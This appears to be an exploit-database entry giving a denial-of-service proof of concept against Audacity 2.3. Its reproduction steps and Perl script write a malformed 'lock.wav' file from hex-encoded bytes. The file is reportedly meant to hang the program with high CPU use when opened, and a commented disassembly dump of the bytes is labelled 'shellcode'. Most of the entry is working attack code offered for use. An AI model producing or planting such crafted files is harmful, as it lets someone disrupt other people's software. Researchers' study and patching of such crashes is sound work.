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AudaCity 2.3 - High processor usage Denial of Service Exploit
[# Exploit Title: AudaCity 2.3 - High processor usage (Denial of Service) # Author: Kağan Çapar # Software Link: https://www.fosshub.com/Audacity.html # Vendor Homepage : https://www.audacityteam.org # Tested Version: 2.3 (top version) # Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage) # other version should be affected # Steps to Reproduce: Run the perl exploit script, it will create a new # file with the name "lock.wav". Open Audacity.exe # Go to File > Open > Select "lock.wav file" # you will see a locking on software. # ! /usr/bin/perl # Dump of assembler code for function data: # 0x0000000000004040 <+0>: push %rdx # 0x0000000000004041 <+1>: rex.WB # 0x0000000000004042 <+2>: rex.RX # 0x0000000000004043 <+3>: rex.RX retq $0x158 # 0x0000000000004047 <+7>: add %dl,0x41(%rdi) # 0x000000000000404a <+10>: push %rsi # 0x000000000000404b <+11>: rex.RB # 0x000000000000404c <+12>: rex.R # 0x000000000000404d <+13>: rex.R # 0x000000000000404e <+14>: rex.R # 0x000000000000404f <+15>: rex.R clc # 0x0000000000004051 <+17>: (bad) # 0x0000000000004052 <+18>: (bad) # 0x0000000000004053 <+19>: incl (%rcx) # 0x0000000000004055 <+21>: add %al,(%rcx) # 0x0000000000004057 <+23>: add %ah,(%rdx) # 0x0000000000004059 <+25>: push %rsi # 0x000000000000405a <+26>: add %al,(%rax) # 0x000000000000405c <+28>: rex.R lods %ds:(%rsi),%al # 0x000000000000405e <+30>: add %al,(%rax) # 0x0000000000004060 <+32>: add (%rax),%al # 0x0000000000004062 <+34>: adc %al,(%rax) # 0x0000000000004064 <+36>: add %al,(%rax) # 0x0000000000004066 <+38>: data16 (bad) # 0x0000000000004068 <+40>: movslq 0x0(%rsp,%rax,1),%esi # 0x000000000000406c <+44>: add %al,(%rax) # 0x000000000000406e <+46>: rex.W lods %ds:(%rsi),%al # 0x0000000000004070 <+48>: add %al,(%rax) # 0x0000000000004072 <+50>: fs (bad) # 0x0000000000004074 <+52>: je 0x40d7 <shellcode+151> # 0x0000000000004076 <+54>: nop # 0x0000000000004077 <+55>: pop %rax # 0x0000000000004078 <+56>: add %eax,(%rax) # 0x000000000000407a <+58>: add %al,(%rax) # 0x000000000000407c <+60>: add %al,(%rax) # 0x000000000000407e <+62>: add %al,(%rax) # 0x0000000000004080 <+64>: add %al,(%rax) # 0x0000000000004082 <+66>: add %al,(%rax) # 0x0000000000004084 <+68>: add %al,(%rax) # 0x0000000000004086 <+70>: (bad) # 0x0000000000004087 <+71>: incl (%rax) # 0x0000000000004089 <+73>: add %al,(%rax) # 0x000000000000408b <+75>: add %bh,%bh # 0x000000000000408d <+77>: incl (%rax) # 0x000000000000408f <+79>: add %bh,%bh # 0x0000000000004091 <+81>: incl (%rax) # 0x0000000000004093 <+83>: add %bh,%bh # 0x0000000000004095 <+85>: incl (%rax) # 0x0000000000004097 <+87>: add %bh,%bh # 0x0000000000004099 <+89>: incl (%rax) # 0x000000000000409b <+91>: add %bh,%bh open(code, ">lock.wav"); binmode(code); $data = "\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" . "\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" . "\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" . "\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" . "\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" . "\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" . "\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" . "\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" . "\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" . "\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" . "\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" . "\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" . "\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" . "\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" . "\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" . "\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" . "\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" . "\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" . "\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" . "\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" . "\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" . "\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00"; print code $data; close(code); # 0day.today [2024-11-15] #